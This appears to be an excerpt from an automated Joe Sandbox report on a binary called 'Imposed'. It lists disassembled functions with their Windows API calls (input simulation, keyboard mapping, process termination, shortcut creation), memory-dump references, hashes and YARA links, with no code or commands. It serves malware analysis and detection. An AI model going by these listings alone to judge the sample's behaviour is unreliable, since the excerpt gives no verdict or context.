                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3368777196-0
                                                                                                                                                                • Opcode ID: 294cca76e82ede4b236676ea7c42a5c0d93038b264b771d79270de402273d0fb
                                                                                                                                                                • Instruction ID: 85150afa612f8f0c341ff3f1b98305aa4316bea2c8aa7f7ce0533a0eb151381d
                                                                                                                                                                • Opcode Fuzzy Hash: 294cca76e82ede4b236676ea7c42a5c0d93038b264b771d79270de402273d0fb
                                                                                                                                                                • Instruction Fuzzy Hash: 45318131900205EBDF00EFD8DC89AAE7778FF84710B1441A9F904AB296D730DA55CB64
                                                                                                                                                                Function 00A12B20 Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetForegroundWindow.USER32(?,?,00000000), ref: 00A12B2E
                                                                                                                                                                  • Part of subcall function 00A0ED1C: GetWindowRect.USER32(?,?), ref: 00A0ED34
                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00A12B58
                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 00A12B5F
                                                                                                                                                                • mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00A12B91
                                                                                                                                                                  • Part of subcall function 009FF152: Sleep.KERNEL32 ref: 009FF1CA
                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00A12BBD
                                                                                                                                                                • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00A12C1B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4137160315-0
                                                                                                                                                                • Opcode ID: 4e131f483a18f7b63204e2e45660e0e9606ae74939ad5c1c28afa81315876a8a
                                                                                                                                                                • Instruction ID: 6771fb0903cb9230dd955917147755e3fbd0671c3e23a09aed16a18939cf9d15
                                                                                                                                                                • Opcode Fuzzy Hash: 4e131f483a18f7b63204e2e45660e0e9606ae74939ad5c1c28afa81315876a8a
                                                                                                                                                                • Instruction Fuzzy Hash: 2931F272508309AFD720DF58DC49FABB7AAFF88304F000929F585A7191D770EA19CB92
                                                                                                                                                                Function 009F5499 Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • IsWindowVisible.USER32(?), ref: 009F54B1
                                                                                                                                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 009F54CE
                                                                                                                                                                • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 009F5506
                                                                                                                                                                • _wcslen.LIBCMT ref: 009F5524
                                                                                                                                                                • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 009F552C
                                                                                                                                                                • _wcsstr.LIBVCRUNTIME ref: 009F5536
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 72514467-0
                                                                                                                                                                • Opcode ID: 566e1a459592f40188ea085143a9132935d3c3f7548f09b2771014c5e40e1fd5
                                                                                                                                                                • Instruction ID: b25cfd30cd477fde8b525d0e140f3745f18ca332a0f663c832e344cdae3dc198
                                                                                                                                                                • Opcode Fuzzy Hash: 566e1a459592f40188ea085143a9132935d3c3f7548f09b2771014c5e40e1fd5
                                                                                                                                                                • Instruction Fuzzy Hash: A62126722046487BEB259B68DC09FBB7BADDF85720F114039FA09CA192EA75DC4197A0
                                                                                                                                                                Function 00A06135 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009950F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00995035,?,?,009D4641,?,?,00000100,00000000,00000000,CMDLINE), ref: 00995117
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A06192
                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 00A062AC
                                                                                                                                                                • CoCreateInstance.OLE32(00A30CBC,00000000,00000001,00A30B2C,?), ref: 00A062C5
                                                                                                                                                                • CoUninitialize.OLE32 ref: 00A062E3
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
                                                                                                                                                                • String ID: .lnk
                                                                                                                                                                • API String ID: 3172280962-24824748
                                                                                                                                                                • Opcode ID: 910a93f3221cbdc8c46373c40760814b543845f5193a0c40cbafa9fe0d71c8ea
                                                                                                                                                                • Instruction ID: 0449cdbef4e2462f95a53601c968c64280bc50e0dc2cb31c3a607cb46571dbf9
                                                                                                                                                                • Opcode Fuzzy Hash: 910a93f3221cbdc8c46373c40760814b543845f5193a0c40cbafa9fe0d71c8ea
                                                                                                                                                                • Instruction Fuzzy Hash: 8BD15571A042059FCB14DF18D580A6ABBE5FF89718F14885CF8899B3A1C732ED45CB92
                                                                                                                                                                Function 00A282A9 Relevance: 9.1, APIs: 6, Instructions: 82COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A282ED
                                                                                                                                                                • SetWindowLongW.USER32(00000000,000000F0,?), ref: 00A28312
                                                                                                                                                                • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00A2832A
                                                                                                                                                                • GetSystemMetrics.USER32(00000004), ref: 00A28353
                                                                                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00A0BFE0,00000000), ref: 00A28373
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                • GetSystemMetrics.USER32(00000004), ref: 00A2835E
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Long$MetricsSystem
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2294984445-0
                                                                                                                                                                • Opcode ID: a3ed708d9afd60ca4d392b3a432e5cebed00e69d6f6436fad28dd81d790f6f2c
                                                                                                                                                                • Instruction ID: 4bfbf32a9cbc9414eff697b3096c3359c91188a113be96c0b3704f687b756cd9
                                                                                                                                                                • Opcode Fuzzy Hash: a3ed708d9afd60ca4d392b3a432e5cebed00e69d6f6436fad28dd81d790f6f2c
                                                                                                                                                                • Instruction Fuzzy Hash: 4F218171611661EFCB24DFBCDC08A6A3BA5FB85725F144639F926CA1E0DA78C852CB10
                                                                                                                                                                Function 009B37A2 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetLastError.KERNEL32(?,?,009B3799,009B3405), ref: 009B37B0
                                                                                                                                                                • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009B37BE
                                                                                                                                                                • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009B37D7
                                                                                                                                                                • SetLastError.KERNEL32(00000000,?,009B3799,009B3405), ref: 009B3829
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLastValue___vcrt_
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3852720340-0
                                                                                                                                                                • Opcode ID: e2cb01363fb16404d876840387ce2a07bcb9b8609b15de8d55d627e07c379827
                                                                                                                                                                • Instruction ID: d7df55c7fc0fd4a5fa9e66a06d656a2817e3482be79bb820ccfa72d2137c25ed
                                                                                                                                                                • Opcode Fuzzy Hash: e2cb01363fb16404d876840387ce2a07bcb9b8609b15de8d55d627e07c379827
                                                                                                                                                                • Instruction Fuzzy Hash: B601D4726097116EAA34E7F5FEC56A72A98EB59772B308239F012450F1EF114D435281
                                                                                                                                                                Function 009C3194 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetLastError.KERNEL32(?,?,009B4E03,?,00000002,?,009B59A6,009B6714), ref: 009C3198
                                                                                                                                                                • _free.LIBCMT ref: 009C31CB
                                                                                                                                                                • _free.LIBCMT ref: 009C31F3
                                                                                                                                                                • SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,009B6714,00000000), ref: 009C3200
                                                                                                                                                                • SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,009B6714,00000000), ref: 009C320C
                                                                                                                                                                • _abort.LIBCMT ref: 009C3212
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast$_free$_abort
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3160817290-0
                                                                                                                                                                • Opcode ID: edf154c21f33baa59254ce53371f779198f8786e1c40f21aff6148cee006191e
                                                                                                                                                                • Instruction ID: 50503e026f9065203645b9b96ae01b6a50020933df3e1aca1dc9cafade20fda7
                                                                                                                                                                • Opcode Fuzzy Hash: edf154c21f33baa59254ce53371f779198f8786e1c40f21aff6148cee006191e
                                                                                                                                                                • Instruction Fuzzy Hash: 0EF02D36D48A003BD632B774BC0AF1A162DAFD17A1B29C52CF825D61D2EF218A034213
                                                                                                                                                                Function 00A2902C Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00991E82: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00991EDC
                                                                                                                                                                  • Part of subcall function 00991E82: SelectObject.GDI32(?,00000000), ref: 00991EEB
                                                                                                                                                                  • Part of subcall function 00991E82: BeginPath.GDI32(?), ref: 00991F02
                                                                                                                                                                  • Part of subcall function 00991E82: SelectObject.GDI32(?,00000000), ref: 00991F2B
                                                                                                                                                                • MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00A29056
                                                                                                                                                                • LineTo.GDI32(?,00000003,00000000), ref: 00A2906A
                                                                                                                                                                • MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00A29078
                                                                                                                                                                • LineTo.GDI32(?,00000000,00000003), ref: 00A29088
                                                                                                                                                                • EndPath.GDI32(?), ref: 00A29098
                                                                                                                                                                • StrokePath.GDI32(?), ref: 00A290A8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 43455801-0
                                                                                                                                                                • Opcode ID: 7d78dbd308097b1808c479a0de38801f9e73a45822b2b7cfb0e6ee8620bad68e
                                                                                                                                                                • Instruction ID: f6a8c999c343a36183699d4f442ea3b8e77f924d74b7b1d973c0a36f96475abb
                                                                                                                                                                • Opcode Fuzzy Hash: 7d78dbd308097b1808c479a0de38801f9e73a45822b2b7cfb0e6ee8620bad68e
                                                                                                                                                                • Instruction Fuzzy Hash: 0211097200410DBFEF129F94EC88EAA7F6DEB08354F048021FA094A1B1C7729D56DBA0
                                                                                                                                                                Function 009F5A19 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDC.USER32(00000000), ref: 009F5A34
                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,00000058), ref: 009F5A45
                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 009F5A4C
                                                                                                                                                                • ReleaseDC.USER32(00000000,00000000), ref: 009F5A54
                                                                                                                                                                • MulDiv.KERNEL32(000009EC,?,00000000), ref: 009F5A6B
                                                                                                                                                                • MulDiv.KERNEL32(000009EC,00000001,?), ref: 009F5A7D
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CapsDevice$Release
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1035833867-0
                                                                                                                                                                • Opcode ID: 8a48a220fd1263f4ee21c7d393066cb8b308bfe91e1ff30e018c7873f31e0b07
                                                                                                                                                                • Instruction ID: c8afd1125b86a66af23df630036f242f4f7de8f730dc0a648d2740281a14bef4
                                                                                                                                                                • Opcode Fuzzy Hash: 8a48a220fd1263f4ee21c7d393066cb8b308bfe91e1ff30e018c7873f31e0b07
                                                                                                                                                                • Instruction Fuzzy Hash: CD017175A00208BBEB109BE99C49A6ABF68EB48751F004065EB04A7281D6709812CF60
                                                                                                                                                                Function 00993700 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00993731
                                                                                                                                                                • MapVirtualKeyW.USER32(00000010,00000000), ref: 00993739
                                                                                                                                                                • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00993744
                                                                                                                                                                • MapVirtualKeyW.USER32(000000A1,00000000), ref: 0099374F
                                                                                                                                                                • MapVirtualKeyW.USER32(00000011,00000000), ref: 00993757
                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 0099375F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Virtual
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4278518827-0
                                                                                                                                                                • Opcode ID: 09c92ace313e0d184d944100d6005fb9bdb9fae574bcf16d2c5436cd0ccaf6e1
                                                                                                                                                                • Instruction ID: 8393ef8ad42879c18f1769cbfe50562581c3656c8bb438ce9c60bc4cc9836634
                                                                                                                                                                • Opcode Fuzzy Hash: 09c92ace313e0d184d944100d6005fb9bdb9fae574bcf16d2c5436cd0ccaf6e1
                                                                                                                                                                • Instruction Fuzzy Hash: 090167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C4BA42C7F5A864CBE5
                                                                                                                                                                Function 009FF2F7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 009FF307
                                                                                                                                                                • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 009FF31D
                                                                                                                                                                • GetWindowThreadProcessId.USER32(?,?), ref: 009FF32C
                                                                                                                                                                • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 009FF33B
                                                                                                                                                                • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 009FF345
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 009FF34C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 839392675-0
                                                                                                                                                                • Opcode ID: 5c935920c396d1ab3bfb446e6250e4d9247c6533e3d39817082ab25272d33634
                                                                                                                                                                • Instruction ID: 56232abd77124fe3d5a17fac9af1b3e93447411372755ae18cc2de54dbe9bb75
                                                                                                                                                                • Opcode Fuzzy Hash: 5c935920c396d1ab3bfb446e6250e4d9247c6533e3d39817082ab25272d33634
                                                                                                                                                                • Instruction Fuzzy Hash: B6F03A32241158BBE7319BA69C0EEFF3B7CEFC6B11F040168FA0191092D7A46A43C6B5
                                                                                                                                                                Function 009D30BE Relevance: 9.0, APIs: 6, Instructions: 38windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetClientRect.USER32(?), ref: 009D30D7
                                                                                                                                                                • SendMessageW.USER32(?,00001328,00000000,?), ref: 009D30EE
                                                                                                                                                                • GetWindowDC.USER32(?), ref: 009D30FA
                                                                                                                                                                • GetPixel.GDI32(00000000,?,?), ref: 009D3109
                                                                                                                                                                • ReleaseDC.USER32(?,00000000), ref: 009D311B
                                                                                                                                                                • GetSysColor.USER32(00000005), ref: 009D3135
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClientColorMessagePixelRectReleaseSendWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 272304278-0
                                                                                                                                                                • Opcode ID: 281b009be246e398721052f5ccf19287cf1425be352a5d104b8b03b33c1a8172
                                                                                                                                                                • Instruction ID: 492866d9527194a2d94f0a3e76fa901bddc0c3e45d671868fd13ffd6b3f26c76
                                                                                                                                                                • Opcode Fuzzy Hash: 281b009be246e398721052f5ccf19287cf1425be352a5d104b8b03b33c1a8172
                                                                                                                                                                • Instruction Fuzzy Hash: 81012831440246AFDB619FA8DC08BB9BBB5FB04311F114561FA16A22A2CB751E53AB11
                                                                                                                                                                Function 009FCD26 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00997A0C: _wcslen.LIBCMT ref: 00997A11
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 009FCE44
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FCE8B
                                                                                                                                                                • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 009FCEF2
                                                                                                                                                                • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 009FCF20
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ItemMenu$Info_wcslen$Default
                                                                                                                                                                • String ID: 0
                                                                                                                                                                • API String ID: 1227352736-4108050209
                                                                                                                                                                • Opcode ID: 598e6c38fe65e869e5ab45c540aa542e3c96418404a03f0dbe8cb34e6b823f65
